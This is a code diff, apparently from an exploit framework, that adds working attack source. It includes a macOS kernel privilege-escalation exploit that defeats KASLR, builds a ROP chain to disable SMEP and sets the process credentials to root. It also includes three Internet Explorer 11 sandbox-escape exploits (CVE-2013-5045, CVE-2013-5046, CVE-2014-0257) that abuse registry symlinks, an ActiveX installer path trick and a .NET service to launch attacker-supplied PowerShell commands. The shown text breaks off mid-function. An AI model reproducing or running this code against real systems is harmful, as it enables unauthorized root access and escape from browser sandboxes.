buf); + printf("offset of mov_cr4_rax gadget: %p\n", mov_cr4_rax_gadget_offset); + mov_cr4_rax = kernel_base + mov_cr4_rax_gadget_offset; + + /* + pop rcx + ret + */ + uint8_t pop_rcx_gadget_bytes[] = {0x59, 0xc3}; + uint8_t* pop_rcx_loc = memmem(buf, buf_len, pop_rcx_gadget_bytes, sizeof(pop_rcx_gadget_bytes)); + uint64_t pop_rcx_gadget_offset = (uint64_t)(pop_rcx_loc - buf); + printf("offset of pop_rcx gadget: %p\n", pop_rcx_gadget_offset); + pop_rcx = kernel_base + pop_rcx_gadget_offset; + + + /* + xor rax, rcx + pop rbp + ret + */ + uint8_t xor_rax_rcx_gadget_bytes[] = {0x48, 0x31, 0xc8, 0x5d, 0xc3}; + uint8_t* xor_rax_rcx_loc = memmem(buf, buf_len, xor_rax_rcx_gadget_bytes, sizeof(xor_rax_rcx_gadget_bytes)); + uint64_t xor_rax_rcx_gadget_offset = (uint64_t)(xor_rax_rcx_loc - buf); + printf("offset of xor_rax_rcx gadget: %p\n", xor_rax_rcx_gadget_offset); + xor_rax_rcx = kernel_base + xor_rax_rcx_gadget_offset; + + /* need this to jump over the vtable index which will be called: + pop r15 + pop rbp + ret + */ + uint8_t pop_pop_ret_gadget_bytes[] = {0x41, 0x5f, 0x5d, 0xc3}; + uint8_t* pop_pop_ret_loc = memmem(buf, buf_len, pop_pop_ret_gadget_bytes, sizeof(pop_pop_ret_gadget_bytes)); + uint64_t pop_pop_ret_gadget_offset = (uint64_t)(pop_pop_ret_loc - buf); + printf("offset of pop_pop_ret gadget: %p\n", pop_pop_ret_gadget_offset); + pop_pop_ret = kernel_base + pop_pop_ret_gadget_offset; + + munmap(buf, buf_len); + close(fd); + + void* writable_scratch = malloc(8); + memset(writable_scratch, 0, 8); + + uint64_t rop_stack[] = { + 0, //pop r14 + 0, //pop r15 + 0, //pop rbp +10 + pop_pop_ret, + 0, //+20 + pivot, //+28 + pop_rcx, + (uint64_t)writable_scratch, + mov_rax_cr4, + 0, //pop rbp + pop_rcx, + 0x00100000, //SMEP bit in cr4 + xor_rax_rcx, //flip it + 0, //pop rbp + mov_cr4_rax, //write back to cr4 + 0, //pop rbp + payload //SMEP is now disabled so ret to payload in userspace + }; + + uint64_t* r = malloc(sizeof(rop_stack)); + memcpy(r, rop_stack, sizeof(rop_stack)); + *len = sizeof(rop_stack); + return r; +} + +void (*IOLockUnlock) (void*); +int (*KUNCExecute)(char*, int, int); +void (*thread_exception_return)(); +void* (*proc_ucred)(void*); +void* (*kauth_cred_get)(); +void* (*kauth_cred_setuidgid)(void*, int, int); +void* (*current_proc)(); + +void rebase_kernel_payload(uint64_t kaslr_slide){ + IOLockUnlock = kernel_symbol("_lck_mtx_unlock") + kaslr_slide; + KUNCExecute = kernel_symbol("_KUNCExecute") + kaslr_slide; + thread_exception_return = kernel_symbol("_thread_exception_return") + kaslr_slide; + proc_ucred = kernel_symbol("_proc_ucred") + kaslr_slide; + kauth_cred_get = kernel_symbol("_kauth_cred_get") + kaslr_slide; + kauth_cred_setuidgid = kernel_symbol("_kauth_cred_setuidgid") + kaslr_slide; + current_proc = kernel_symbol("_current_proc") + kaslr_slide; +} + +// rather than working out the offset of p_ucred in the proc structure just get +// the code to tell us :) +// proc_ucred just does return arg->u_cred +uint64_t find_ucred_offset(){ + uint64_t offsets[0x80]; + for (int i = 0; i < 0x80; i++){ + offsets[i] = i*8; + } + return proc_ucred(offsets); +} + +// need to drop this IOLock: +// IOLockLock( _deviceLock); +// at code exec time rbx points to this, and this->_delegate->deviceLock is that lock +// so need to call IOLockUnlock(rbx->_delegate->deviceLock) +void kernel_payload(){ + uint8_t* this; + //__asm__("int $3"); + __asm__("movq %%rbx, %0" : "=r"(this) : :); + //this now points to the IOHIKeyboardMapper + uint8_t* IOHIKeyboard = *((uint8_t**)(this+0x10)); + void* _device_lock = *((void**)(IOHIKeyboard+0x88)); + IOLockUnlock(_device_lock); + + // real kernel payload goes here: + //KUNCExecute("/Applications/Calculator.app/Contents/MacOS/Calculator", 0, 0); + //thread_exception_return(); + + // get root: + uint64_t ucred_offset = find_ucred_offset(); + void* old_cred = kauth_cred_get(); + void* new_cred = kauth_cred_setuidgid(old_cred, 0, 0); + uint8_t* proc = current_proc(); + *((void**)(proc+ucred_offset)) = new_cred; + thread_exception_return(); +} + +void trigger(void* vtable, size_t vtable_len, char* exe){ + kern_return_t err; + + CFMutableDictionaryRef matching = IOServiceMatching("IOHIDKeyboard"); + if(!matching){ + printf("unable to create service matching dictionary\n"); + return; + } + + io_iterator_t iterator; + err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); + if (err != KERN_SUCCESS){ + printf("no matches\n"); + return; + } + + io_service_t service = IOIteratorNext(iterator); + + if (service == IO_OBJECT_NULL){ + printf("unable to find service\n"); + return; + } + printf("got service: %x\n", service); + + char* bad_mapping = malloc(0x10000); + memset(bad_mapping, 0, 0x10000); + + uint8_t bad_header[] = { + 0x00, 0x01, // nmd.shorts = 1 + 0x00, 0x00, // numMods = 0 + 0x00, 0x00, // numDefs = 0 + 0x00, 0x90, // numSeqs = 0x90 + }; + + memcpy(bad_mapping, bad_header, sizeof(bad_header)); + + uint8_t bad_seq[] = { + 0x00, 0x02, // len + 0x00, 0x78, 0x56, 0x00, // first entry + 0x00, 0x00, 0x00, 0x00, // second entry + 0xff, 0xff, // numMods + }; + + memcpy(bad_mapping + sizeof(bad_header) + 0x8f*2, bad_seq, sizeof(bad_seq)); + + //need to overallocate and touch the pages since this will be the stack: + mach_vm_address_t addr = 0x0000005678000000 - 10 * 0x1000; + mach_vm_allocate(mach_task_self(), &addr, 0x20*0x1000, 0); + + memset(addr, 0, 0x20*0x1000); + + memcpy((void*)0x5678000200, vtable, vtable_len); + /* + uint64_t* vtable_entry = (uint64_t*)(0x0000005678000200 + 0x28); + *vtable_entry = 0x123456789abcdef0; // call this address in ring0 + */ + + + CFDataRef data = CFDataCreate(NULL, bad_mapping, 0x10000); + + err = IORegistryEntrySetCFProperty( + service, + CFSTR("HIDKeyMapping"), + data); + + execve(exe, NULL, NULL); +} + +int main(int argc, char** argv) { + if (argc < 2) { printf("Usage: ./%s [payload_exe]\n", argv[0]); exit(1); } + + uint64_t leaked_ptr = leak(); + uint64_t kext_load_addr = load_addr(); + + // get the offset of that pointer in the kext: + uint64_t offset = leaked_offset_in_kext(); //0x8cf0; + + // sanity check the leaked address against the symbol addr: + if ( (leaked_ptr & 0xfff) != (offset & 0xfff) ){ + printf("the leaked pointer doesn't match up with the expected symbol offset\n"); + return 1; + } + + uint64_t kaslr_slide = (leaked_ptr - offset) - kext_load_addr; + + printf("kaslr slide: %p\n", kaslr_slide); + + rebase_kernel_payload(kaslr_slide); + + size_t vtable_len = 0; + void* vtable = build_vtable(kaslr_slide, kernel_payload, &vtable_len); + + trigger(vtable, vtable_len, argv[1]); + + return 0; +} diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/CVE-2013-5045.cpp b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/CVE-2013-5045.cpp new file mode 100755 index 0000000000..162568212e --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/CVE-2013-5045.cpp @@ -0,0 +1,184 @@ +// This file is part of IE11SandboxEsacapes. + +// IE11SandboxEscapes is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// IE11SandboxEscapes is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with IE11SandboxEscapes. If not, see . + +#include "stdafx.h" +#include +#include + +#define MAX_ENV 32767 + +#pragma comment(lib, "Iepmapi.lib") + +typedef NTSTATUS (__stdcall *fNtOpenSection)( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +HANDLE MyCreateProcess(bstr_t exec, bstr_t cmdline) +{ + STARTUPINFO startInfo = { 0 }; + PROCESS_INFORMATION procInfo = { 0 }; + + if (!CreateProcess(exec, cmdline, NULL, NULL, FALSE, 0, NULL, NULL, + &startInfo, &procInfo)) + { + DebugPrintf("Error Creating Process: %d", GetLastError()); + + return nullptr; + } + else + { + CloseHandle(procInfo.hThread); + + return procInfo.hProcess; + } +} + +bstr_t GetExploitUrl(LPWSTR env) +{ + WCHAR buf[MAX_ENV]; + + GetEnvironmentVariable(env, buf, MAX_ENV); + + return buf; +} + +void CreateIEProcess() +{ + HANDLE hProcess = MyCreateProcess(GetExecutableFileName(nullptr), L"iexplore.exe " + GetExploitUrl(L"HTML_URL")); + + if (hProcess) + { + WaitForSingleObject(hProcess, 1000); + CloseHandle(hProcess); + } +} + +void CreateUserKey(LPCWSTR path) +{ + STARTUPINFO startInfo = { 0 }; + PROCESS_INFORMATION procInfo = { 0 }; + bstr_t sid = GetUserSid(); + + bstr_t linkName = L"\\Registry\\User\\" + sid + L"\\Software\\Microsoft\\Internet Explorer\\LowRegistry\\DontShowMeThisDialogAgain"; + + LONG res = RegDeleteKey(HKEY_CURRENT_USER, L"Software\\Microsoft\\Internet Explorer\\LowRegistry\\DontShowMeThisDialogAgain"); + + DebugPrintf("Delete: %d", res); + + bstr_t destName = L"\\Registry\\User\\" + sid + path; + + CreateLink(linkName, destName, 0); + + CreateIEProcess(); + + DeleteLink(linkName); +} + +void DoRegistrySymlink() +{ + STARTUPINFO startInfo = { 0 }; + PROCESS_INFORMATION procInfo = { 0 }; + HKEY hKey = nullptr; + HANDLE hSection = nullptr; + bstr_t sid = GetUserSid(); + bool success = false; + + try + { + CreateUserKey(L"\\Software\\Microsoft\\Internet Explorer\\Low Rights"); + CreateUserKey(L"\\Software\\Microsoft\\Internet Explorer\\Low Rights\\ElevationPolicy"); + CreateUserKey(L"\\Software\\Microsoft\\Internet Explorer\\Low Rights\\ElevationPolicy\\{C2B9F6A6-6E3C-4954-8A73-69038A049D00}"); + + LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Internet Explorer\\Low Rights\\ElevationPolicy\\{C2B9F6A6-6E3C-4954-8A73-69038A049D00}", + 0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &hKey); + + if (res != 0) + { + DebugPrintf("Open Class Key Failed %d", res); + throw 0; + } + + CreateRegistryValueString(hKey, L"AppName", L"powershell.exe"); + CreateRegistryValueString(hKey, L"AppPath", GetWindowsSystemDirectory() + L"\\WindowsPowerShell\\v1.0"); + CreateRegistryValueDword(hKey, L"Policy", 3); + + bstr_t name = GetSessionPath() + L"\\BaseNamedObjects\\LRIEElevationPolicy_"; + + UNICODE_STRING objName = { 0 }; + objName.Buffer = name; + objName.Length = SysStringByteLen(name); + objName.MaximumLength = SysStringByteLen(name); + + OBJECT_ATTRIBUTES objAttr = { 0 }; + + InitializeObjectAttributes(&objAttr, &objName, OBJ_CASE_INSENSITIVE, 0, 0); + + fNtOpenSection pfNtOpenSection = (fNtOpenSection)GetProcAddress(GetModuleHandle(L"ntdll"), "NtOpenSection"); + + NTSTATUS status = pfNtOpenSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE, &objAttr); + + if (status != 0) + { + DebugPrintf("Error opening section: %08X\n", status); + throw 0; + } + + unsigned int* p = (unsigned int*)MapViewOfFile(hSection, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, sizeof(unsigned int)); + + if (p == nullptr) + { + DebugPrintf("Error mapping section %d\n", GetLastError()); + throw 0; + } + + DebugPrintf("Current Counter: %d\n", *p); + + // Increment + *p = *p + 1; + + DebugPrintf("New Counter: %d\n", *p); + + UnmapViewOfFile(p); + CloseHandle(hSection); + hSection = nullptr; + + MyCreateProcess(GetWindowsSystemDirectory() + L"\\WindowsPowerShell\\v1.0\\powershell.exe", L"powershell.exe " + GetExploitUrl(L"PSH_CMD")); + } + catch (...) + { + } + + if (hSection) + { + CloseHandle(hSection); + } + + if (hKey) + { + RegCloseKey(hKey); + } + +} + +DWORD CALLBACK ExploitThread(LPVOID hModule) +{ + CoInitialize(nullptr); + DoRegistrySymlink(); + CoUninitialize(); + + FreeLibraryAndExitThread((HMODULE)hModule, 0); +} \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/CVE-2013-5045.vcxproj b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/CVE-2013-5045.vcxproj new file mode 100755 index 0000000000..285b19b27e --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/CVE-2013-5045.vcxproj @@ -0,0 +1,188 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {A31EEDC1-5B69-42E9-BAE4-717DA6AF9E52} + Win32Proj + CVE20140268 + CVE-2013-5045 + + + + DynamicLibrary + true + v120 + Unicode + + + DynamicLibrary + true + v120 + Unicode + + + DynamicLibrary + false + v120 + true + Unicode + + + DynamicLibrary + false + v120 + true + Unicode + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + + + Windows + true + CVE-2014-0268.def + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + + + Windows + true + CVE-2014-0268.def + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + MultiThreaded + + + Windows + true + true + true + + + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + MultiThreaded + + + Windows + true + true + true + CVE-2014-0268.def + + + + + + + + + + false + false + + + + + false + false + + + + + + + Create + Create + Create + Create + + + + + {04dde547-bb65-4c0c-b80b-231df42c7a1d} + + + + + + \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/dllmain.cpp b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/dllmain.cpp new file mode 100755 index 0000000000..042cf2c7c4 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/dllmain.cpp @@ -0,0 +1,23 @@ +// dllmain.cpp : Defines the entry point for the DLL application. +#include "stdafx.h" + +DWORD CALLBACK ExploitThread(LPVOID hModule); + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + CreateThread(nullptr, 0, ExploitThread, hModule, 0, 0); + break; + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/stdafx.cpp b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/stdafx.cpp new file mode 100755 index 0000000000..11763c77a3 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// CVE-2014-0268.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/stdafx.h b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/stdafx.h new file mode 100755 index 0000000000..562cb0adb0 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/stdafx.h @@ -0,0 +1,11 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#include +#include diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/targetver.h b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/targetver.h new file mode 100755 index 0000000000..87c0086de7 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/CVE-2013-5046.cpp b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/CVE-2013-5046.cpp new file mode 100755 index 0000000000..4a6fab2bff --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/CVE-2013-5046.cpp @@ -0,0 +1,127 @@ +// This file is part of IE11SandboxEsacapes. + +// IE11SandboxEscapes is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// IE11SandboxEscapes is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with IE11SandboxEscapes. If not, see . + +#include "stdafx.h" +#include +#include + +#pragma comment(lib, "shlwapi.lib") + +typedef HRESULT(__stdcall *fCoCreateUserBroker)(IIEUserBroker** ppBroker); + +void DoAXExploit() +{ + try + { + HRESULT ret = E_FAIL; + + IIEUserBrokerPtr broker = CreateBroker(); + + DebugPrintf("Created User Broker: %p\n", broker); + + IIEAxInstallBrokerBrokerPtr axInstallBroker = broker; + + DebugPrintf("Created AX Install Broker: %p\n", axInstallBroker); + + IUnknownPtr unk; + + ret = axInstallBroker->BrokerGetAxInstallBroker(__uuidof(CIEAxInstallBroker), IID_IUnknown, 0, 2, nullptr, &unk); + if (FAILED(ret)) + { + DebugPrintf("Failed to create install broker\n"); + throw _com_error(ret); + } + + IIeAxiAdminInstallerPtr admin = unk; + + bstr_t sessionGuid; + bstr_t empty; + + ret = admin->InitializeAdminInstaller(empty, empty, sessionGuid.GetAddress()); + if (FAILED(ret)) + { + DebugPrintf("Failed initialize admin interface\n"); + throw _com_error(ret); + } + + DebugPrintf("Initialize: %ls\n", sessionGuid.GetBSTR()); + + IIeAxiInstaller2Ptr installer = unk; + + DebugPrintf("Installer: %p", installer); + + unsigned char* details = nullptr; + unsigned int detailsLength = 0; + + CLSID mgrclsid; + + // Not important really + CLSIDFromString(L"4871A87A-BFDD-4106-8153-FFDE2BAC2967", &mgrclsid); + + /*bstr_t url = L"http://dlm.tools.akamai.com/dlmanager/versions/activex/dlm-activex-2.2.4.8.cab#Version=2,2,4,8"; + bstr_t path = L"C:\\users\\user\\desktop\\dlm-activex-2.2.4.8.cab";*/ + + bstr_t path = GetWindowsSystemDirectory() + L"\\notepad.exe"; + + bstr_t fullPath; + + // Verify a local "signed" file, doesn't really matter what, we are not going to run it + ret = installer->VerifyFile(sessionGuid, nullptr, path, path, bstr_t(L""), + 0, 0, mgrclsid, fullPath.GetAddress(), &detailsLength, &details); + + if (FAILED(ret)) + { + throw _com_error(ret); + } + + WCHAR newPath[MAX_PATH]; + + wcscpy_s(newPath, fullPath); + + PathRemoveFileSpec(newPath); + + // Install file to dummy location, use canonicalization trick to escape quotes later + ret = installer->InstallFile(sessionGuid, nullptr, bstr_t(newPath), bstr_t(PathFindFileName(fullPath)), + GetWindowsSystemDirectory() + L"\\calc.exe\" \\..\\..\\..\\..\\..\\..\\windows\\temp", bstr_t(L"testbin.exe"), 0); + DebugPrintf("InstallFile: %08X\n", ret); + + if (FAILED(ret)) + { + throw _com_error(ret); + } + + bstr_t installPath = GetWindowsSystemDirectory() + L"\\calc.exe\" \\..\\..\\..\\..\\..\\..\\windows\\temp\\testbin.exe"; + + PROCESS_INFORMATION procInfo = { 0 }; + + // Run our arbitrary command line + ret = installer->RegisterExeFile(sessionGuid, installPath, 0, &procInfo); + } + catch (_com_error e) + { + DebugPrintf("Error: %ls\n", e.ErrorMessage()); + } +} + +DWORD CALLBACK ExploitThread(LPVOID hModule) +{ + CoInitialize(NULL); + + DoAXExploit(); + + CoUninitialize(); + + FreeLibraryAndExitThread((HMODULE)hModule, 0); +} \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/CVE-2013-5046.vcxproj b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/CVE-2013-5046.vcxproj new file mode 100755 index 0000000000..bde9556738 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/CVE-2013-5046.vcxproj @@ -0,0 +1,182 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {7A9AC14A-00BC-4A69-9B86-C80635606FEA} + Win32Proj + CVE20140268 + + + + DynamicLibrary + true + v120 + Unicode + + + DynamicLibrary + true + v120 + Unicode + + + DynamicLibrary + false + v120 + true + Unicode + + + DynamicLibrary + false + v120 + true + Unicode + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + + + Windows + true + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + + + Windows + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + MultiThreaded + + + Windows + true + true + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + MultiThreaded + + + Windows + true + true + true + + + + + + + + + + false + false + + + + + false + false + + + + + + + Create + Create + Create + Create + + + + + {04dde547-bb65-4c0c-b80b-231df42c7a1d} + + + + + + \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/dllmain.cpp b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/dllmain.cpp new file mode 100755 index 0000000000..042cf2c7c4 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/dllmain.cpp @@ -0,0 +1,23 @@ +// dllmain.cpp : Defines the entry point for the DLL application. +#include "stdafx.h" + +DWORD CALLBACK ExploitThread(LPVOID hModule); + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + CreateThread(nullptr, 0, ExploitThread, hModule, 0, 0); + break; + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/stdafx.cpp b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/stdafx.cpp new file mode 100755 index 0000000000..11763c77a3 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// CVE-2014-0268.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/stdafx.h b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/stdafx.h new file mode 100755 index 0000000000..3ec4541276 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/stdafx.h @@ -0,0 +1,12 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#include +#include +#include "interfaces.h" \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/targetver.h b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/targetver.h new file mode 100755 index 0000000000..87c0086de7 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5046/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/CVE-2014-0257.cpp b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/CVE-2014-0257.cpp new file mode 100755 index 0000000000..8166284000 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/CVE-2014-0257.cpp @@ -0,0 +1,201 @@ +// This file is part of IE11SandboxEsacapes. + +// IE11SandboxEscapes is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// IE11SandboxEscapes is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with IE11SandboxEscapes. If not, see . + +#include "stdafx.h" + +#define MAX_ENV 32767 + +#import rename("ReportEvent", "_ReportEvent") + +const wchar_t CLSID_DFSVC[] = L"{20FD4E26-8E0F-4F73-A0E0-F27B8C57BE6F}"; + +long GetSafeArrayLen(LPSAFEARRAY psa) +{ + long ubound = 0; + + SafeArrayGetUBound(psa, 1, &ubound); + + return ubound + 1; +} + +mscorlib::_MethodInfoPtr GetStaticMethod(mscorlib::_TypePtr type, LPCWSTR findName, int pcount) +{ + LPSAFEARRAY methods = type->GetMethods_2(); + mscorlib::_MethodInfoPtr ret; + LONG methodCount = GetSafeArrayLen(methods); + + for (long i = 0; i < methodCount; ++i) + { + IUnknown* v = nullptr; + + if (SUCCEEDED(SafeArrayGetElement(methods, &i, &v))) + { + mscorlib::_MethodInfoPtr method = v; + + bstr_t name = method->Getname(); + LPSAFEARRAY params = method->GetParameters(); + long paramCount = GetSafeArrayLen(params); + + if (method->IsStatic && wcscmp(name.GetBSTR(), findName) == 0 && paramCount == pcount) + { + ret = method; + break; + } + } + } + + SafeArrayDestroy(methods); + + return ret; +} + +template T ExecuteMethod(mscorlib::_MethodInfoPtr method, std::vector& args) +{ + variant_t obj; + T retObj; + + SAFEARRAY * psa; + SAFEARRAYBOUND rgsabound[1]; + + rgsabound[0].lLbound = 0; + rgsabound[0].cElements = (ULONG)args.size(); + psa = SafeArrayCreate(VT_VARIANT, 1, rgsabound); + + for (LONG indicies = 0; indicies < (LONG)args.size(); ++indicies) + { + SafeArrayPutElement(psa, &indicies, &args[indicies]); + } + + variant_t ret = method->Invoke_3(obj, psa); + + if ((ret.vt == VT_UNKNOWN) || (ret.vt == VT_DISPATCH)) + { + retObj = ret.punkVal; + } + + SafeArrayDestroy(psa); + + return retObj; +} + +bstr_t GetEnv(LPWSTR env) +{ + WCHAR buf[MAX_ENV]; + + GetEnvironmentVariable(env, buf, MAX_ENV); + + return buf; +} + +void DoDfsvcExploit() +{ + CLSID clsid; + + CLSIDFromString(CLSID_DFSVC, &clsid); + + DebugPrintf("Starting DFSVC Exploit\n"); + + mscorlib::_ObjectPtr obj; + + HRESULT hr = CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&obj)); + + if (FAILED(hr)) + { + WCHAR cmdline[] = L"dfsvc.exe"; + + STARTUPINFO startInfo = { 0 }; + PROCESS_INFORMATION procInfo = { 0 }; + + // Start dfsvc (because we can due to the ElevationPolicy) + if (CreateProcess(GetEnv(L"windir") + L"\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe", cmdline, + nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo)) + { + CloseHandle(procInfo.hProcess); + CloseHandle(procInfo.hThread); + + // Just sleep to ensure it comes up + Sleep(4000); + hr = CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&obj)); + } + else + { + DebugPrintf("Couldn't create service %d\n", GetLastError()); + } + } + + if (SUCCEEDED(hr)) + { + try + { + mscorlib::_TypePtr type = obj->GetType(); + + // Get type of Type (note defaults to RuntimeType then TypeInfo) + type = type->GetType()->BaseType->BaseType; + + DebugPrintf("TypeName: %ls", type->FullName.GetBSTR()); + + mscorlib::_MethodInfoPtr getTypeMethod = GetStaticMethod(type, L"GetType", 1); + + DebugPrintf("getTypeMethod: %p", (void*)getTypeMethod); + + std::vector getTypeArgs; + + getTypeArgs.push_back(L"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"); + + // Get process type + type = ExecuteMethod(getTypeMethod, getTypeArgs); + + if (type) + { + mscorlib::_MethodInfoPtr startMethod = GetStaticMethod(type, L"Start", 2); + + if (startMethod) + { + std::vector startArgs; + + startArgs.push_back(L"powershell"); + startArgs.push_back(GetEnv(L"PSHCMD")); + + ExecuteMethod(startMethod, startArgs); + } + else + { + DebugPrintf("Couldn't find Start method"); + } + } + else + { + DebugPrintf("Couldn't find Process Type"); + } + } + 